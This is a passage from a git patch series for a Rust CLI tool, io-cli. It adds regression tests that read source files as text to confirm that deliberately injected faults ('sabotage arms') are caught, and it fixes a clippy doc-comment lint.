any version + // at all; and a flat `read_dir` covers `src/` only for as long as `src/` stays + // flat, which is not a property anybody is maintaining. + let mut files: Vec = Vec::new(); + let mut dirs = vec![repo().join("src")]; + while let Some(dir) = dirs.pop() { + for entry in std::fs::read_dir(&dir).expect("a source directory") { + let path = entry.expect("a directory entry").path(); + if path.is_dir() { + dirs.push(path); + } else if path.extension().and_then(|e| e.to_str()) == Some("rs") { + files.push(path); + } } - let text = std::fs::read_to_string(&path).expect("a source file"); + } + files.sort(); + + for path in &files { + let text = std::fs::read_to_string(path).expect("a source file"); for (number, line) in text.lines().enumerate() { // Only the `io-harness-/` form, which is a path into a // vendored source tree. A bare "io-harness 0.70.0" is history — a // sentence about when something changed — and is not a citation. - let Some(at) = line.find("io-harness-") else { - continue; - }; - let cited = &line[at..]; - if !cited.starts_with(&wanted) { - stale.push(format!( - "{}:{}: {}", - path.file_name().unwrap_or_default().to_string_lossy(), - number + 1, - line.trim(), - )); + for (at, _) in line.match_indices("io-harness-") { + if !line[at..].starts_with(&wanted) { + stale.push(format!( + "{}:{}: {}", + path.strip_prefix(repo()).unwrap_or(path).display(), + number + 1, + line.trim(), + )); + } } } } diff --git a/tests/marketplace.rs b/tests/marketplace.rs index 9dd7ac9..0763d18 100644 --- a/tests/marketplace.rs +++ b/tests/marketplace.rs @@ -1853,6 +1853,20 @@ fn f16_and_f17_have_one_reader_and_one_validator() { operator's file is written before io-harness has been asked whether the \ bundle would load at all", ); + // **The stronger form, once the function itself was deleted.** Asserting that + // one module does not *call* `add_off` stops being much of a gate the moment + // nothing anywhere can: a sabotage restoring the round trip would have to write + // the function back first, and this is what fails when it does. The pair is + // kept rather than replaced — the call-site count is what fails if somebody + // reintroduces it and wires it in one step. + assert_eq!( + code_of("src/pluginview.rs").matches("fn add_off").count(), + 0, + "`pluginview::add_off` is back. It wrote `enabled = false` so that \ + io-harness would read a bundle at all, which `Plugins::inspect` made \ + unnecessary in 0.30.0 — and it was the last thing that wrote to an \ + operator's configuration before they had consented to anything", + ); assert_eq!( planner.matches("marketplace::disclosure(").count(), 1, diff --git a/tests/skillview.rs b/tests/skillview.rs index b6c6fba..9f75c86 100644 --- a/tests/skillview.rs +++ b/tests/skillview.rs @@ -1044,6 +1044,56 @@ fn f3_a_bundles_skill_is_not_ours_to_remove() { assert!(theirs.exists(), "and the file is still there"); } +/// **F1, the half a green suite cannot see.** The *session* acts on a skill verb, +/// not only the headless door. +/// +/// This is the gate for the release's worst defect, found by the adversarial +/// review and by nothing else. `manage::plan` answers `Ok(None)` for every skill +/// verb — a skill is a file, not a configuration edit — and the session's +/// `Action::Manage` match ended in `Ok((_, None)) => {}`. So `/skills add +/// ./x.md`, `/skills list` and `/skills remove x` typed at the prompt parsed +/// correctly, planned correctly, and then did **nothing at all**: no file copied, +/// no output, no refusal. The acts existed only in `manage_main`, which a session +/// never calls. Every one of the 1,600 tests passed, and the README documented the +/// verbs as working. +/// +/// The same hole swallowed `/mcp probe`, which is asserted here beside it because +/// it is the same shape and the same arm. +/// +/// Sabotage: delete either arm from `src/main.rs`. Nothing else in the suite goes +/// red. +#[test] +fn f1_the_session_acts_on_a_skill_verb_and_not_only_the_headless_door() { + let text = std::fs::read_to_string("src/main.rs").expect("the driver"); + let flat = text.split_whitespace().collect::>().join(" "); + + assert!( + flat.contains("Ok((io_cli::manage::Request::Skill(verb), None))"), + "the session has no arm for a skill verb, so `/skills add`, `/skills list` \ + and `/skills remove` parse, plan, and silently do nothing", + ); + assert!( + flat.contains("io_cli::skillview::install(&home, source)"), + "the session's skill arm does not install", + ); + assert!( + flat.contains("io_cli::skillview::remove(&skill.path, &bundles)"), + "the session's skill arm does not remove", + ); + assert!( + flat.contains( + "Ok(( io_cli::manage::Request::Mcp(io_cli::manage::McpVerb::Probe { id }), None, ))" + ), + "the session has no arm for `/mcp probe`, so it parses and does nothing", + ); + assert_eq!( + text.matches("io_cli::servers::probe(").count(), + 2, + "a probe has exactly two call sites — the session and the headless door — \ + so neither can be the only one", + ); +} + /// **F2, the confirmation.** The driver puts `store::LEAVE_IT` at row 0 and /// decides with `store::acts`, asserted **by index**. /// From 30940d192a08fa83e1385f647bf93b3e7752b150 Mon Sep 17 00:00:00 2001 From: aakashpawar1999 Date: Sun, 30 Aug 2026 01:08:31 +0530 Subject: [PATCH 15/17] test: give F15's second sabotage arm a site The five-shape table asserts against io_harness::net::target, so reinstating a copy in src/preflight.rs would have killed nothing. The property is absence, and absence has no call site to assert on, so the gate reads the module as text. --- tests/preflight.rs | 34 ++++++++++++++++++++++++++++++++++ 1 file changed, 34 insertions(+) diff --git a/tests/preflight.rs b/tests/preflight.rs index a5992dc..793ebdc 100644 --- a/tests/preflight.rs +++ b/tests/preflight.rs @@ -223,6 +223,40 @@ fn target_refuses_the_five_shapes_the_deleted_copy_allowed() { } } +/// **io-cli defines no normaliser of its own, and this is the only thing that can +/// fail if it grows one back.** +/// +/// The five-shape test above asserts against `io_harness::net::target` — so it +/// would go on passing if somebody reintroduced a private copy in `src/preflight.rs` +/// and pointed `check` at it. That is a sabotage arm with nowhere to run, which is +/// this product's recorded failure mode for a criterion nobody is actually +/// checking, and the reason this gate reads the source as text: the property is +/// *absence*, and absence has no call site to assert on. +/// +/// Sabotage: put `fn target` back into `src/preflight.rs`. Only this fails. +#[test] +fn preflight_defines_no_normaliser_of_its_own() { + let source = std::fs::read_to_string("src/preflight.rs").expect("the module"); + let code: String = source + .lines() + .filter(|line| !line.trim_start().starts_with("//")) + .collect::>() + .join("\n"); + + assert!( + !code.contains("fn target"), + "`src/preflight.rs` defines a URL normaliser again. The copy it carried \ + until 0.30.0 failed open on five shapes, including one that discarded the \ + real host and reported a policy match for it — and the case table beside \ + it enumerated seven refusals without containing any of the five. The only \ + correct behaviour is io-harness's own function.", + ); + assert!( + code.contains("use io_harness::net::target;"), + "the preflight no longer reaches io-harness's normaliser", + ); +} + /// The bracketless twin of `https://[::1]:/x` was always refused, and that asymmetry is /// what made the IPv6 branch's bug invisible: the same shape, spelled two ways, gave two /// answers. Asserted together so neither can regress alone. From 66169a539ed113d473ffebfb20be7618642e5947 Mon Sep 17 00:00:00 2001 From: aakashpawar1999 Date: Sun, 30 Aug 2026 01:27:03 +0530 Subject: [PATCH 16/17] test: the sabotage cycle, and the three gate defects it found Four arms executed against the release's own criteria. One killed exactly what it should. The other three found that the gate was not a gate. F15's second arm had no site. The five-shape table asserts against io_harness::net::target, so reinstating a copy in src/preflight.rs would have killed nothing at all. The property is absence and absence has no call site, so the gate reads the module as text. Arm re-run: kills only its own test. F13's second arm had no site. McpProbe is #[non_exhaustive] and belongs to another crate, so no test can construct a variant this build does not know, and the catch-all is unreachable from every behavioural assertion - the pairwise test builds its expected string from servers::UNMODELLED by hand for that reason. Pointing the catch-all at a known state's sentence killed nothing. Now gated on the source. Arm re-run: kills only its own test. The new F1 session gate was vacuous. It asserted contains() on the install and remove call sites, which the headless door satisfies on its own - so deleting the session's arm, which is the entire defect the gate exists for, changed nothing. Counted now, not contains: two install sites and three remove sites. Arm re-run: reddens naming the count it found. F10's second arm (widen the KEYS check rather than adding one name) killed exactly the three unknown-key refusal tests and nothing else. Every run was --no-fail-fast and filtered for compile errors as well as failures; none of the four failed to compile. --- tests/servers_enabled.rs | 35 +++++++++++++++++++++++++++++++++++ tests/skillview.rs | 23 +++++++++++++++++------ 2 files changed, 52 insertions(+), 6 deletions(-) diff --git a/tests/servers_enabled.rs b/tests/servers_enabled.rs index 3453ee2..6678d24 100644 --- a/tests/servers_enabled.rs +++ b/tests/servers_enabled.rs @@ -455,6 +455,41 @@ fn f13_every_probe_outcome_is_its_own_sentence() { } } +/// **F13's second arm, which had nowhere to run until this.** +/// +/// The criterion's named sabotage is *"drop the `_` arm and match the five known +/// variants with a catch-all that names one of them"*. Executing it killed +/// **nothing**: `McpProbe` is `#[non_exhaustive]` and belongs to another crate, so +/// no test can construct a variant this build does not know, and the arm is +/// therefore unreachable from every behavioural assertion in this file — the one +/// above builds its expected string from `servers::UNMODELLED` by hand for exactly +/// that reason. +/// +/// A criterion whose sabotage has no site is a criterion nobody is checking. The +/// property here is about a branch that cannot be entered, so the only instrument +/// left is the source, read as text — the same answer this product already gives +/// for `src/main.rs`. +/// +/// Sabotage: point the catch-all at any known state's sentence. Only this fails. +#[test] +fn f13_the_catch_all_names_no_state_this_build_knows() { + let source = std::fs::read_to_string("src/servers.rs").expect("the module"); + let code: String = source + .lines() + .filter(|line| !line.trim_start().starts_with("//")) + .collect::>() + .join("\n"); + let flat = code.split_whitespace().collect::>().join(" "); + + assert!( + flat.contains("_ => format!(\"`{id}`: {UNMODELLED}\")"), + "`servers::probed`'s catch-all no longer renders `UNMODELLED`. A newer \ + io-harness reporting a state this build does not model would be described \ + to the operator as one it does, and the repair they go off to make would \ + be for a problem they do not have.", + ); +} + /// **F13 — a disabled server is probed without being started.** /// /// This is the one probe assertion that reaches `io_harness::probe_mcp` for real, diff --git a/tests/skillview.rs b/tests/skillview.rs index 9f75c86..d382fab 100644 --- a/tests/skillview.rs +++ b/tests/skillview.rs @@ -1072,13 +1072,24 @@ fn f1_the_session_acts_on_a_skill_verb_and_not_only_the_headless_door() { "the session has no arm for a skill verb, so `/skills add`, `/skills list` \ and `/skills remove` parse, plan, and silently do nothing", ); - assert!( - flat.contains("io_cli::skillview::install(&home, source)"), - "the session's skill arm does not install", + // **Counted, never `contains`.** Both verbs have two call sites — the session + // and the headless door — so a `contains` is satisfied by the headless one + // forever and says nothing about the arm this test exists for. The first + // version of this gate made exactly that mistake and its sabotage killed + // nothing; this product's own record calls counting the fix. + assert_eq!( + text.matches("io_cli::skillview::install(").count(), + 2, + "installing a skill has {} call sites, not the two it must have — one on \ + the session's arm and one on the headless door", + text.matches("io_cli::skillview::install(").count(), ); - assert!( - flat.contains("io_cli::skillview::remove(&skill.path, &bundles)"), - "the session's skill arm does not remove", + assert_eq!( + text.matches("io_cli::skillview::remove(").count(), + 3, + "removing a skill has {} call sites, not the three it must have — the \ + session's typed arm, the headless door, and the `/skills` confirmation", + text.matches("io_cli::skillview::remove(").count(), ); assert!( flat.contains( From e79357d8947942fa8eb9c23103b13734bfa40393 Mon Sep 17 00:00:00 2001 From: aakashpawar1999 Date: Sun, 30 Aug 2026 01:43:53 +0530 Subject: [PATCH 17/17] fix: an empty line between a doc comment and the code below it CI caught this and my local clippy did not, because CI runs `cargo clippy --all-targets -- -D warnings` and I had been running it without the flag - so `empty_line_after_doc_comments` was a warning here and an error there. The local gate was weaker than the one that decides. Deleting `add_off` left its first doc line and a `///` behind, above the block comment that explains the deletion, so the doc attached itself to `enable` two items further down. --- src/pluginview.rs | 2 -- 1 file changed, 2 deletions(-) diff --git a/src/pluginview.rs b/src/pluginview.rs index 377e43b..e5d3f21 100644 --- a/src/pluginview.rs +++ b/src/pluginview.rs @@ -650,8 +650,6 @@ pub const OLDER_BINARY: &str = io-cli built against 0.69.0 refuses the whole configuration file rather than ignoring the \ key"; -/// The edit that declares a bundle **switched off**. -/// // **`add_off` and `declared_off` were deleted in 0.30.0.** // // Through 0.29.0 a marketplace install wrote `[[plugin]] enabled = false` and